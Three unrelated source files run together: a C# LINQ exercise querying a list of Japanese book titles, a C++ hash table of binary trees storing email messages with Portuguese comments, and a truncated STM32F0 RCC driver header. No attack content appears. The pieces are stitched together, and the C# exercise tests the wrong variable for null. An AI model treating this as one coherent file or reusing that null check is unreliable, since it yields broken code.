using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Exercise02 { class Program { static void Main(string[] args) { var books = new List<Book> { new Book { Title = "C#プログラミングの新常識", Price = 3800, Pages = 378 }, new Book { Title = "ラムダ式とLINQの極意", Price = 2500, Pages = 312 }, new Book { Title = "ワンダフル・C#ライフ", Price = 2900, Pages = 385 }, new Book { Title = "一人で学ぶ並列処理プログラミング", Price = 4800, Pages = 464 }, new Book { Title = "フレーズで覚えるC#入門", Price = 5300, Pages = 604 }, new Book { Title = "私でも分かったASP.NET MVC", Price = 3200, Pages = 453 }, new Book { Title = "楽しいC#プログラミング教室", Price = 2540, Pages = 348 }, }; Exercise2_1(books); Console.WriteLine("-----"); Exercise2_2(books); Console.WriteLine("-----"); Exercise2_3(books); Console.WriteLine("-----"); Exercise2_4(books); Console.WriteLine("-----"); Exercise2_5(books); Console.WriteLine("-----"); Exercise2_6(books); Console.WriteLine("-----"); Exercise2_7(books); Console.WriteLine("-----"); Exercise2_8(books); } private static void Exercise2_1(List<Book> books) { //var data = books.Select(b => new { b.Price, b.Pages }); var book = books.FirstOrDefault(b => b.Title == "ワンダフル・C#ライフ"); if (book != null) Console.WriteLine("{0} {1}", book.Price, book.Pages); } private static void Exercise2_2(List<Book> books) { int count = books.Count(b => b.Title.Contains("C#")); Console.WriteLine(count); } private static void Exercise2_3(List<Book> books) { var average = books.Where(b => b.Title.Contains("C#")).Average(b => b.Pages); Console.WriteLine(average); } private static void Exercise2_4(List<Book> books) { var book = books.FirstOrDefault(b => b.Price >= 4000); if (books != null) Console.WriteLine(book.Title); } private static void Exercise2_5(List<Book> books) { var maxpage = books.Where(b => b.Price < 4000).Max(b => b.Pages); Console.WriteLine(maxpage); } private static void Exercise2_6(List<Book> books) { var selected = books.Where(b => b.Pages >= 400).OrderByDescending(b => b.Price); foreach (var book in selected) { Console.WriteLine("{0}{1}", book.Title, book.Price); } } private static void Exercise2_7(List<Book> books) { var title = books.Where(b => b.Title.Contains("C#") && b.Pages <= 500); foreach (var book in title) { Console.WriteLine(book.Title); } } private static void Exercise2_8(List<Book> books) { //var output = books.Select(b => b.Title); //foreach (var book in output) { // Console.WriteLine(1+1 + book); foreach (var item in books.Select((b, i) => new { i, b.Title })) { Console.WriteLine((item.i + 1) + "冊目:" + item.Title); } } } class Book { public string Title { get; set; } public int Price { get; set; } public int Pages { get; set; } } }
#pragma once #include <fstream> #include <sstream> #include "binaryTree.h" #include "message.h" class Hash { private: int len; bool log; ofstream logFile; binaryTree *table; public: Hash(int M); ~Hash(); int getPos(int val); void entrega(message email); void apaga(int user, int emailKey); void consulta(int user, int emailKey); void openLogFile(string path); void closeLogFile(); void printLog(string text); }; Hash::Hash(int M) { len = M; table = new binaryTree[M]; log = false; } Hash::~Hash() { // para cada posicao da tabela for (int i=0; i<len; i++) { // libera os espacos alocados pelas arvores table[i].clear(); } // libera o espaco alocado para a tabela delete [] table; } int Hash::getPos(int val) { // aplica a funcao hash a um valor inteiro return val % len; } void Hash::entrega(message email) { // obtem o indice de insercao a partir do valor de U int pos = getPos(email.getUser()); // insere o email na arvore da posicao adequada na tabela int success = table[pos].insert(email); // variavel auxiliar para impressao ostringstream oss; // define a saida de acordo com o status da tarefa if (success) oss << "OK: MENSAGEM " << email.getKey() << " PARA " << email.getUser() << " ARMAZENADA EM " << pos << "\n"; else oss << "ERRO: MENSAGEM NAO ENTREGUE\n"; // imprime a saida para o usuario printLog(oss.str()); } void Hash::apaga(int user, int emailKey) { // obtem o indice de remocao a partir do valor de U int pos = getPos(user); // remove o email da arvore correspondente a posicao int success = table[pos].remove(user, emailKey); // variavel auxiliar para impressao ostringstream oss; // define a saida de acordo com o status da tarefa if (success) oss << "OK: MENSAGEM APAGADA\n"; else oss << "ERRO: MENSAGEM INEXISTENTE\n"; // imprime a saida para o usuario printLog(oss.str()); } void Hash::consulta(int user, int emailKey) { message result; // obtem o indice de consulta a partir do valor de U int pos = getPos(user); // procura na tabela de posicao correspondente result = table[pos].search(emailKey); // verifica se o usuario do email encontrado eh o buscado if (user != result.getUser()) result.setKey(-1); // variavel auxiliar para impressao ostringstream oss; // define a saida de acordo com o status da tarefa if (result.getKey() != -1) oss << "CONSULTA " << user << " " << emailKey << ": " << result.getEmail() << "\n"; else oss << "CONSULTA " << user << " " << emailKey << ": MENSAGEM INEXISTENTE\n"; // imprime a saida para o usuario printLog(oss.str()); } void Hash::openLogFile(string path) { // abre o arquivo de saida logFile = ofstream(path); // modifica a flag de impressao em arquivo log = true; } void Hash::closeLogFile() { // fecha o arquivo de saida logFile.close(); // modifica a flag de impressao em arquivo log = false; } void Hash::printLog(string text) { // imprime no terminal cout << text; // se a flag estiver "ativada" if(log) { // imprime no arquivo logFile << text; } }
/** ****************************************************************************** * @file stm32f0xx_ll_rcc.h * @author MCD Application Team * @version V1.4.0 * @date 27-May-2016 * @brief Header file of RCC LL module. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2016 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __STM32F0xx_LL_RCC_H #define __STM32F0xx_LL_RCC_H #ifdef __cplusplus extern "C" { #endif /* Includes ------------------------------------------------------------------*/ #include "stm32f0xx.h" /** @addtogroup STM32F0xx_LL_Driver * @{ */ #if defined(RCC) /** @defgroup RCC_LL RCC * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /** @defgroup RCC_LL_Private_Variables RCC Private Variables * @{ */ /** * @} */ /* Private constants ---------------------------------------------------------*/ /** @defgroup RCC_LL_Private_Constants RCC Private Constants * @{ */ /* Defines used for the bit position in the register and perform offsets*/ #define RCC_POSITION_HPRE (uint32_t)4U /*!< field position in register RCC_CFGR */ #define RCC_POSITION_PPRE1 (uint32_t)8U /*!< field position in register RCC_CFGR */ #define RCC_POSITION_PLLMUL (uint32_t)18U /*!< field position in register RCC_CFGR */ #define RCC_POSITION_HSICAL (uint32_t)8U /*!< field position in register RCC_CR */ #define RCC_POSITION_HSITRIM (uint32_t)3U /*!< field position in register RCC_CR */ #define RCC_POSITION_HSI14TRIM (uint32_t)3U /*!< field position in register RCC_CR2 */ #define RCC_POSITION_HSI14CAL (uint32_t)8U /*!< field position in register RCC_CR2 */ #if defined(RCC_HSI48_SUPPORT) #define RCC_POSITION_HSI48CAL (uint32_t)24U /*!< field position in register RCC_CR2 */ #endif /* RCC_HSI48_SUPPORT */ #define RCC_POSITION_USART1SW (uint32_t)0U /*!< field position in register RCC_CFGR3 */ #define RCC_POSITION_USART2SW (uint32_t)16U /*!< field position in register RCC_CFGR3 */ #define RCC_POSITION_USART3SW (uint32_t)18U /*!< field position in register RCC_CFGR3 */ /** * @} */ /* Private macros ------------------------------------------------------------*/ #if defined(USE_FULL_LL_DRIVER) /** @defgroup RCC_LL_Private_Macros RCC Private Macros * @{ */ /** * @} */ #endif /*USE_FULL_LL_DRIVER*/ /* Exported types ------------------------------------------------------------*/ #if defined(USE_FULL_LL_DRIVER) /** @defgroup RCC_LL_Exported_Types RCC Exported Types * @{ */ /** @defgroup LL_ES_CLOCK_FREQ Clocks Frequency Structure * @{ */ /** * @brief RCC Clocks Frequency Structure */ typedef struct { uint32_t SYSCLK_Frequency; /*!< SYSCLK clock frequency */ uint32_t HCLK_Frequency; /*!< HCLK clock frequency */ uint32_t PCLK1_Frequency; /*!< PCLK1 clock frequency */ } LL_RCC_ClocksTypeDef; /** * @} */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /* Exported constants --------------------------------------------------------*/ /** @defgroup RCC_LL_Exported_Constants RCC Exported Constants * @{ */ /** @defgroup RCC_LL_EC_OSC_VALUES Oscillator Values adaptation * @brief Defines used to adapt values of different oscillators * @note These values could be modified in the user environment according to * HW set-up. * @{ */ #if !defined (HSE_VALUE) #define HSE_VALUE ((uint32_t)8000000U) /*!< Value of the HSE oscillator in Hz */ #endif /* HSE_VALUE */ #if !defined (HSI_VALUE) #define HSI_VALUE ((uint32_t)8000000U) /*!< Value of the HSI oscillator in Hz */ #endif /* HSI_VALUE */ #if !defined (LSE_VALUE) #define LSE_VALUE ((uint32_t)32768U) /*!< Value of the LSE oscillator in Hz */ #endif /* LSE_VALUE */ #if !defined (LSI_VALUE) #define LSI_VALUE ((uint32_t)32000U) /*!< Value of the LSI oscillator in Hz */ #endif /* LSI_VALUE */ #if defined(RCC_HSI48_SUPPORT) #if !defined (HSI48_VALUE) #define HSI48_VALUE ((uint32_t)48000000U) /*!< Value of the HSI48 oscillator in Hz */ #endif /* HSI48_VALUE */ #endif /* RCC_HSI48_SUPPORT */ /** * @} */ /** @defgroup RCC_LL_EC_CLEAR_FLAG Clear Flags Defines * @brief Flags defines which can be used with LL_RCC_WriteReg function * @{ */ #define LL_RCC_CIR_LSIRDYC RCC_CIR_LSIRDYC /*!< LSI Ready Interrupt Clear */ #define LL_RCC_CIR_LSERDYC RCC_CIR_LSERDYC /*!< LSE Ready Interrupt Clear */ #define LL_RCC_CIR_HSIRDYC RCC_CIR_HSIRDYC /*!< HSI Ready Interrupt Clear */ #define LL_RCC_CIR_HSERDYC RCC_CIR_HSERDYC /*!< HSE Ready Interrupt Clear */ #define LL_RCC_CIR_PLLRDYC RCC_CIR_PLLRDYC /*!< PLL Ready Interrupt Clear */ #define LL_RCC_CIR_HSI14RDYC RCC_CIR_HSI14RDYC /*!< HSI14 Ready Interrupt Clear */ #if defined(RCC_HSI48_SUPPORT) #define LL_RCC_CIR_HSI48RDYC RCC_CIR_HSI48RDYC /*!< HSI48 Ready Interrupt Clear */ #endif /* RCC_HSI48_SUPPORT */ #define LL_RCC_CIR_CSSC RCC_CIR_CSSC /*!< Clock Security System Interrupt Clear */ /** * @} */ /** @defgroup RCC_LL_EC_GET_FLAG Get Flags Defines * @brief Flags defines which can be used with LL_RCC_ReadReg function * @{ */ #define LL_RCC_CIR_LSIRDYF RCC_CIR_LSIRDYF /*!< LSI Ready Interrupt flag */ #define LL_RCC_CIR_LSERDYF RCC_CIR_LSERDYF /*!< LSE Ready Interrupt flag */ #define LL_RCC_CIR_HSIRDYF RCC_CIR_HSIRDYF /*!< HSI Ready Interrupt flag */ #define LL_RCC_CIR_HSERDYF RCC_CIR_HSERDYF /*!< HSE Ready Interrupt flag */ #define LL_RCC_CIR_PLLRDYF RCC_CIR_PLLRDYF /*!< PLL Ready Interrupt flag */ #define LL_RCC_CIR_HSI14RDYF RCC_CIR_HSI14RDYF /*!< HSI14 Ready Interrupt flag */ #if defined(RCC_HSI48_SUPPORT) #define LL_RCC_CIR_HSI48RDYF RCC_CIR_HSI48RDYF /*!< HSI48 Ready Interrupt flag */ #endif /* RCC_HSI48_SUPPORT */ #define LL_RCC_CIR_CSSF RCC_CIR_CSSF /*!< Clock Security System Interrupt flag */ #define LL_RCC_CSR_OBLRSTF RCC_CSR_OBLRSTF /*!< OBL reset flag */ #define LL_RCC_CSR_PINRSTF RCC_CSR_PINRSTF /*!< PIN reset flag */ #define LL_RCC_CSR_PORRSTF RCC_CSR_PORRSTF /*!< POR/PDR reset flag */ #define LL_RCC_CSR_SFTRSTF RCC_CSR_SFTRSTF /*!< Software Reset flag */ #define LL_RCC_CSR_IWDGRSTF RCC_CSR_IWDGRSTF /*!< Independent Watchdog reset flag */ #define LL_RCC_CSR_WWDGRSTF RCC_CSR_WWDGRSTF /*!< Window watchdog reset flag */ #define LL_RCC_CSR_LPWRRSTF RCC_CSR_LPWRRSTF /*!< Low-Power reset flag */ #if defined(RCC_CSR_V18PWRRSTF) #define LL_RCC_CSR_V18PWRRSTF RCC_CSR_V18PWRRSTF /*!< Reset flag of the 1.8 V domain. */ #endif /* RCC_CSR_V18PWRRSTF */ /** * @} */ /** @defgroup RCC_LL_EC_IT IT Defines * @brief IT defines which can be used with LL_RCC_ReadReg and LL_RCC_WriteReg functions * @{ */ #define LL_RCC_CIR_LSIRDYIE RCC_CIR_LSIRDYIE /*!< LSI Ready Interrupt Enable */ #define LL_RCC_CIR_LSERDYIE RCC_CIR_LSERDYIE /*!< LSE Ready Interrupt Enable */ #define LL_RCC_CIR_HSIRDYIE RCC_CIR_HSIRDYIE /*!< HSI Ready Interrupt Enable */ #define LL_RCC_CIR_HSERDYIE RCC_CIR_HSERDYIE /*!< HSE Ready Interrupt Enable */ #define LL_RCC_CIR_PLLRDYIE RCC_CIR_PLLRDYIE /*!< PLL Ready Interrupt Enable */ #define LL_RCC_CIR_HSI14RDYIE RCC_CIR_HSI14RDYIE /*!< HSI14 Ready Interrupt Enable */ #if defined(RCC_HSI48_SUPPORT) #define LL_RCC_CIR_HSI48RDYIE RCC_CIR_HSI48RDYIE /*!< HSI48 Ready Interrupt Enable */ #endif /* RCC_HSI48_SUPPORT */ /** * @} */ /** @defgroup RCC_LL_EC_LSEDRIVE LSE oscillator drive capability * @{ */ #define LL_RCC_LSEDRIVE_LOW ((uint32_t)0x00000000U) /*!< Xtal mode lower driving capability */ #define LL_RCC_LSEDRIVE_MEDIUMLOW RCC_BDCR_LSEDRV_1 /*!< Xtal mode medium low driving capability */ #define LL_RCC_LSEDRIVE_MEDIUMHIGH RCC_BDCR_LSEDRV_0 /*!< Xtal mode medium high driving capability */ #define LL_RCC_LSEDRIVE_HIGH RCC_BDCR_LSEDRV /*!< Xtal mode higher driving capability */ /** * @} */ /** @defgroup RCC_LL_EC_SYS_CLKSOURCE System clock switch * @{ */ #define LL_RCC_SYS_CLKSOURCE_HSI RCC_CFGR_SW_HSI /*!< HSI selection as system clock */ #define LL_RCC_SYS_CLKSOURCE_HSE RCC_CFGR_SW_HSE /*!< HSE selection as system clock */ #define LL_RCC_SYS_CLKSOURCE_PLL RCC_CFGR_SW_PLL /*!< PLL selection as system clock */ #if defined(RCC_CFGR_SW_HSI48) #define LL_RCC_SYS_CLKSOURCE_HSI48 RCC_CFGR_SW_HSI48 /*!< HSI48 selection as system clock */ #endif /* RCC_CFGR_SW_HSI48 */ /** * @} */ /** @defgroup RCC_LL_EC_SYS_CLKSOURCE_STATUS System clock switch status * @{ */ #define LL_RCC_SYS_CLKSOURCE_STATUS_HSI RCC_CFGR_SWS_HSI /*!< HSI used as system clock */ #define LL_RCC_SYS_CLKSOURCE_STATUS_HSE RCC_CFGR_SWS_HSE /*!< HSE used as system clock */ #define LL_RCC_SYS_CLKSOURCE_STATUS_PLL RCC_CFGR_SWS_PLL /*!< PLL used as system clock */ #if defined(RCC_CFGR_SWS_HSI48) #define LL_RCC_SYS_CLKSOURCE_STATUS_HSI48 RCC_CFGR_SWS_HSI48 /*!< HSI48 used as system clock */ #endif /* RCC_CFGR_SWS_HSI48 */ /** * @} */ /** @defgroup RCC_LL_EC_SYSCLK_DIV AHB prescaler * @{ */ #define LL_RCC_SYSCLK_DIV_1 RCC_CFGR_HPRE_DIV1 /*!< SYSCLK not divided */ #define LL_RCC_SYSCLK_DIV_2 RCC_CFGR_HPRE_DIV2 /*!< SYSCLK divided by 2 */ #define LL_RCC_SYSCLK_DIV_4 RCC_CFGR_HPRE_DIV4 /*!< SYSCLK divided by 4 */ #define LL_RCC_SYSCLK_DIV_8 RCC_CFGR_HPRE_DIV8 /*!< SYSCLK divided by 8 */ #define LL_RCC_SYSCLK_DIV_16 RCC_CFGR_HPRE_DIV16 /*!< SYSCLK divided by 16 */ #define LL_RCC_SYSCLK_DIV_64 RCC_CFGR_HPRE_DIV64 /*!< SYSCLK divided by 64 */ #define LL_RCC_SYSCLK_DIV_128 RCC_CFGR_HPRE_DIV128 /*!< SYSCLK divided by 128 */ #define LL_RCC_SYSCLK_DIV_256 RCC_CFGR_HPRE_DIV256 /*!< SYSCLK divided by 256 */ #define LL_RCC_SYSCLK_DIV_512 RCC_CFGR_HPRE_DIV512 /*!< SYSCLK divided by 512 */ /** * @} */ /** @defgroup RCC_LL_EC_APB1_DIV APB low-speed prescaler (APB1) * @{ */ #define LL_RCC_APB1_DIV_1 RCC_CFGR_PPRE_DIV1 /*!< HCLK not divided */ #define LL_RCC_APB1_DIV_2 RCC_CFGR_PPRE_DIV2 /*!< HCLK divided by 2 */ #define LL_RCC_APB1_DIV_4 RCC_CFGR_PPRE_DIV4 /*!< HCLK divided by 4 */ #define LL_RCC_APB1_DIV_8 RCC_CFGR_PPRE_DIV8 /*!< HCLK divided by 8 */ #define LL_RCC_APB1_DIV_16 RCC_CFGR_PPRE_DIV16 /*!< HCLK divided by 16 */ /** * @} */ /** @defgroup RCC_LL_EC_MCO1SOURCE MCO1 SOURCE selection * @{ */ #define LL_RCC_MCO1SOURCE_NOCLOCK RCC_CFGR_MCOSEL_NOCLOCK /*!< MCO output disabled, no clock on MCO */ #define LL_RCC_MCO1SOURCE_HSI14 RCC_CFGR_MCOSEL_HSI14 /*!< HSI14 oscillator clock selected */ #define LL_RCC_MCO1SOURCE_SYSCLK RCC_CFGR_MCOSEL_SYSCLK /*!< SYSCLK selection as MCO source */ #define LL_RCC_MCO1SOURCE_HSI RCC_CFGR_MCOSEL_HSI /*!< HSI selection as MCO source */ #define LL_RCC_MCO1SOURCE_HSE RCC_CFGR_MCOSEL_HSE /*!< HSE selection as MCO source */ #define LL_RCC_MCO1SOURCE_LSI RCC_CFGR_MCOSEL_LSI /*!< LSI selection as MCO source */ #define LL_RCC_MCO1SOURCE_LSE RCC_CFGR_MCOSEL_LSE /*!< LSE selection as MCO source */ #if defined(RCC_CFGR_MCOSEL_HSI48) #define LL_RCC_MCO1SOURCE_HSI48 RCC_CFGR_MCOSEL_HSI48 /*!< HSI48 selection as MCO source */ #endif /* RCC_CFGR_MCOSEL_HSI48 */ #define LL_RCC_MCO1SOURCE_PLLCLK_DIV_2 RCC_CFGR_MCOSEL_PLL_DIV2 /*!< PLL clock divided by 2*/ #if defined(RCC_CFGR_PLLNODIV) #define LL_RCC_MCO1SOURCE_PLLCLK (RCC_CFGR_MCOSEL_PLL_DIV2 | RCC_CFGR_PLLNODIV) /*!< PLL clock selected*/ #endif /* RCC_CFGR_PLLNODIV */ /** * @} */ /** @defgroup RCC_LL_EC_MCO1_DIV MCO1 prescaler * @{ */ #define LL_RCC_MCO1_DIV_1 ((uint32_t)0x00000000U)/*!< MCO Clock divided by 1 */ #if defined(RCC_CFGR_MCOPRE) #define LL_RCC_MCO1_DIV_2 RCC_CFGR_MCOPRE_DIV2 /*!< MCO Clock divided by 2 */ #define LL_RCC_MCO1_DIV_4 RCC_CFGR_MCOPRE_DIV4 /*!< MCO Clock divided by 4 */ #define LL_RCC_MCO1_DIV_8 RCC_CFGR_MCOPRE_DIV8 /*!< MCO Clock divided by 8 */ #define LL_RCC_MCO1_DIV_16 RCC_CFGR_MCOPRE_DIV16 /*!< MCO Clock divided by 16 */ #define LL_RCC_MCO1_DIV_32 RCC_CFGR_MCOPRE_DIV32 /*!< MCO Clock divided by 32 */ #define LL_RCC_MCO1_DIV_64 RCC_CFGR_MCOPRE_DIV64 /*!< MCO Clock divided by 64 */ #define LL_RCC_MCO1_DIV_128 RCC_CFGR_MCOPRE_DIV128 /*!< MCO Clock divided by 128 */ #endif /* RCC_CFGR_MCOPRE */ /** * @} */ #if defined(USE_FULL_LL_DRIVER) /** @defgroup RCC_LL_EC_PERIPH_FREQUENCY Peripheral clock frequency * @{ */ #define LL_RCC_PERIPH_FREQUENCY_NO (uint32_t)0x00000000U /*!< No clock enabled for the peripheral */ #define LL_RCC_PERIPH_FREQUENCY_NA (uint32_t)0xFFFFFFFFU /*!< Frequency cannot be provided as external clock */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /** @defgroup RCC_LL_EC_USART1_CLKSOURCE Peripheral USART clock source selection * @{ */ #define LL_RCC_USART1_CLKSOURCE_PCLK1 (uint32_t)((RCC_POSITION_USART1SW << 24) | RCC_CFGR3_USART1SW_PCLK) /*!< PCLK1 clock used as USART1 clock source */ #define LL_RCC_USART1_CLKSOURCE_SYSCLK (uint32_t)((RCC_POSITION_USART1SW << 24) | RCC_CFGR3_USART1SW_SYSCLK) /*!< System clock selected as USART1 clock source */ #define LL_RCC_USART1_CLKSOURCE_LSE (uint32_t)((RCC_POSITION_USART1SW << 24) | RCC_CFGR3_USART1SW_LSE) /*!< LSE oscillator clock used as USART1 clock source */ #define LL_RCC_USART1_CLKSOURCE_HSI (uint32_t)((RCC_POSITION_USART1SW << 24) | RCC_CFGR3_USART1SW_HSI) /*!< HSI oscillator clock used as USART1 clock source */ #if defined(RCC_CFGR3_USART2SW) #define LL_RCC_USART2_CLKSOURCE_PCLK1 (uint32_t)((RCC_POSITION_USART2SW << 24) | RCC_CFGR3_USART2SW_PCLK) /*!< PCLK1 clock used as USART2 clock source */ #define LL_RCC_USART2_CLKSOURCE_SYSCLK (uint32_t)((RCC_POSITION_USART2SW << 24) | RCC_CFGR3_USART2SW_SYSCLK) /*!< System clock selected as USART2 clock source */ #define LL_RCC_USART2_CLKSOURCE_LSE (uint32_t)((RCC_POSITION_USART2SW << 24) | RCC_CFGR3_USART2SW_LSE) /*!< LSE oscillator clock used as USART2 clock source */ #define LL_RCC_USART2_CLKSOURCE_HSI (uint32_t)((RCC_POSITION_USART2SW << 24) | RCC_CFGR3_USART2SW_HSI) /*!< HSI oscillator clock used as USART2 clock source */ #endif /* RCC_CFGR3_USART2SW */ #if defined(RCC_CFGR3_USART3SW) #define LL_RCC_USART3_CLKSOURCE_PCLK1 (uint32_t)((RCC_POSITION_USART3SW << 24) | RCC_CFGR3_USART3SW_PCLK) /*!< PCLK1 clock used as USART3 clock source */ #define LL_RCC_USART3_CLKSOURCE_SYSCLK (uint32_t)((RCC_POSITION_USART3SW << 24) | RCC_CFGR3_USART3SW_SYSCLK) /*!< System clock selected as USART3 clock source */ #define LL_RCC_USART3_CLKSOURCE_LSE (uint32_t)((RCC_POSITION_USART3SW << 24) | RCC_CFGR3_USART3SW_LSE) /*!< LSE oscillator clock used as USART3 clock source */ #define LL_RCC_USART3_CLKSOURCE_HSI (uint32_t)((RCC_POSITION_USART3SW << 24) | RCC_CFGR3_USART3SW_HSI) /*!< HSI oscillator clock used as USART3 clock source */ #endif /* RCC_CFGR3_USART3SW */ /** * @} */ /** @defgroup RCC_LL_EC_I2C1_CLKSOURCE Peripheral I2C clock source selection * @{ */ #define LL_RCC_I2C1_CLKSOURCE_HSI RCC_CFGR3_I2C1SW_HSI /*!< HSI oscillator clock used as I2C1 clock source */ #define LL_RCC_I2C1_CLKSOURCE_SYSCLK RCC_CFGR3_I2C1SW_SYSCLK /*!< System clock selected as I2C1 clock source */ /** * @} */ #if defined(CEC) /** @defgroup RCC_LL_EC_CEC_CLKSOURCE Peripheral CEC clock source selection * @{ */ #define LL_RCC_CEC_CLKSOURCE_HSI_DIV244 RCC_CFGR3_CECSW_HSI_DIV244 /*!< HSI clock divided by 244 selected as HDMI CEC entry clock source */ #define LL_RCC_CEC_CLKSOURCE_LSE RCC_CFGR3_CECSW_LSE /*!< LSE clock selected as HDMI CEC entry clock source */ /** * @} */ #endif /* CEC */ #if defined(USB) /** @defgroup RCC_LL_EC_USB_CLKSOURCE Peripheral USB clock source selection * @{ */ #if defined(RCC_CFGR3_USBSW_HSI48) #define LL_RCC_USB_CLKSOURCE_HSI48 RCC_CFGR3_USBSW_HSI48 /*!< HSI48 oscillator clock used as USB clock source */ #else #define LL_RCC_USB_CLKSOURCE_NONE ((uint32_t)0x00000000) /*!< USB Clock disabled */ #endif /*RCC_CFGR3_USBSW_HSI48*/ #define LL_RCC_USB_CLKSOURCE_PLL RCC_CFGR3_USBSW_PLLCLK /*!< PLL selected as USB clock source */ /** * @} */ #endif /* USB */ /** @defgroup RCC_LL_EC_USART1 Peripheral USART get clock source * @{ */ #define LL_RCC_USART1_CLKSOURCE RCC_POSITION_USART1SW /*!< USART1 Clock source selection */ #if defined(RCC_CFGR3_USART2SW) #define LL_RCC_USART2_CLKSOURCE RCC_POSITION_USART2SW /*!< USART2 Clock source selection */ #endif /* RCC_CFGR3_USART2SW */ #if defined(RCC_CFGR3_USART3SW) #define LL_RCC_USART3_CLKSOURCE RCC_POSITION_USART3SW /*!< USART3 Clock source selection */ #endif /* RCC_CFGR3_USART3SW */ /** * @} */ /** @defgroup RCC_LL_EC_I2C1 Peripheral I2C get clock source * @{ */ #define LL_RCC_I2C1_CLKSOURCE RCC_CFGR3_I2C1SW /*!< I2C1 Clock source selection */ /** * @} */ #if defined(CEC) /** @defgroup RCC_LL_EC_CEC Peripheral CEC get clock source * @{ */ #define LL_RCC_CEC_CLKSOURCE RCC_CFGR3_CECSW /*!< CEC Clock source selection */ /** * @} */ #endif /* CEC */ #if defined(USB) /** @defgroup RCC_LL_EC_USB Peripheral USB get clock source * @{ */ #define LL_RCC_USB_CLKSOURCE RCC_CFGR3_USBSW /*!< USB Clock source selection */ /** * @} */ #endif /* USB */ /** @defgroup RCC_LL_EC_RTC_CLKSOURCE RTC clock source selection * @{ */ #define LL_RCC_RTC_CLKSOURCE_NONE (uint32_t)0x00000000U /*!< No clock used as RTC clock */ #define LL_RCC_RTC_CLKSOURCE_LSE RCC_BDCR_RTCSEL_0 /*!< LSE oscillator clock used as RTC clock */ #define LL_RCC_RTC_CLKSOURCE_LSI RCC_BDCR_RTCSEL_1 /*!< LSI oscillator clock used as RTC clock */ #define LL_RCC_RTC_CLKSOURCE_HSE_DIV32 RCC_BDCR_RTCSEL /*!< HSE oscillator clock divided by 32 used as RTC clock */ /** * @} */ /** @defgroup RCC_LL_EC_PLL_MUL PLL Multiplicator factor * @{ */ #define LL_RCC_PLL_MUL_2 RCC_CFGR_PLLMUL2 /*!< PLL input clock*2 */ #define LL_RCC_PLL_MUL_3 RCC_CFGR_PLLMUL3 /*!< PLL input clock*3 */ #define LL_RCC_PLL_MUL_4 RCC_CFGR_PLLMUL4 /*!< PLL input clock*4 */ #define LL_RCC_PLL_MUL_5 RCC_CFGR_PLLMUL5 /*!< PLL input clock*5 */ #define LL_RCC_PLL_MUL_6 RCC_CFGR_PLLMUL6 /*!< PLL input clock*6 */ #define LL_RCC_PLL_MUL_7 RCC_CFGR_PLLMUL7 /*!< PLL input clock*7 */ #define LL_RCC_PLL_MUL_8 RCC_CFGR_PLLMUL8 /*!< PLL input clock*8 */ #define LL_RCC_PLL_MUL_9 RCC_CFGR_PLLMUL9 /*!< PLL input clock*9 */ #define LL_RCC_PLL_MUL_10 RCC_CFGR_PLLMUL10 /*!< PLL input clock*10 */ #define LL_RCC_PLL_MUL_11 RCC_CFGR_PLLMUL11 /*!< PLL input clock*11 */ #define LL_RCC_PLL_MUL_12 RCC_CFGR_PLLMUL12 /*!< PLL input clock*12 */ #define LL_RCC_PLL_MUL_13 RCC_CFGR_PLLMUL13 /*!< PLL input clock*13 */ #define LL_RCC_PLL_MUL_14 RCC_CFGR_PLLMUL14 /*!< PLL input clock*14 */ #define LL_RCC_PLL_MUL_15 RCC_CFGR_PLLMUL15 /*!< PLL input clock*15 */ #define LL_RCC_PLL_MUL_16 RCC_CFGR_PLLMUL16 /*!< PLL input clock*16 */ /** * @} */ /** @defgroup RCC_LL_EC_PLLSOURCE PLL SOURCE * @{ */ #define LL_RCC_PLLSOURCE_HSE RCC_CFGR_PLLSRC_HSE_PREDIV /*!< HSE/PREDIV clock selected as PLL entry clock source */ #if defined(RCC_PLLSRC_PREDIV1_SUPPORT) #define LL_RCC_PLLSOURCE_HSI RCC_CFGR_PLLSRC_HSI_PREDIV /*!< HSI/PREDIV clock selected as PLL entry clock source */ #if defined(RCC_CFGR_SW_HSI48) #define LL_RCC_PLLSOURCE_HSI48 RCC_CFGR_PLLSRC_HSI48_PREDIV /*!< HSI48/PREDIV clock selected as PLL entry clock source */ #endif /* RCC_CFGR_SW_HSI48 */ #else #define LL_RCC_PLLSOURCE_HSI_DIV_2 RCC_CFGR_PLLSRC_HSI_DIV2 /*!< HSI clock divided by 2 selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_1 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV1) /*!< HSE clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_2 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV2) /*!< HSE/2 clock selected as PLL entry clock source 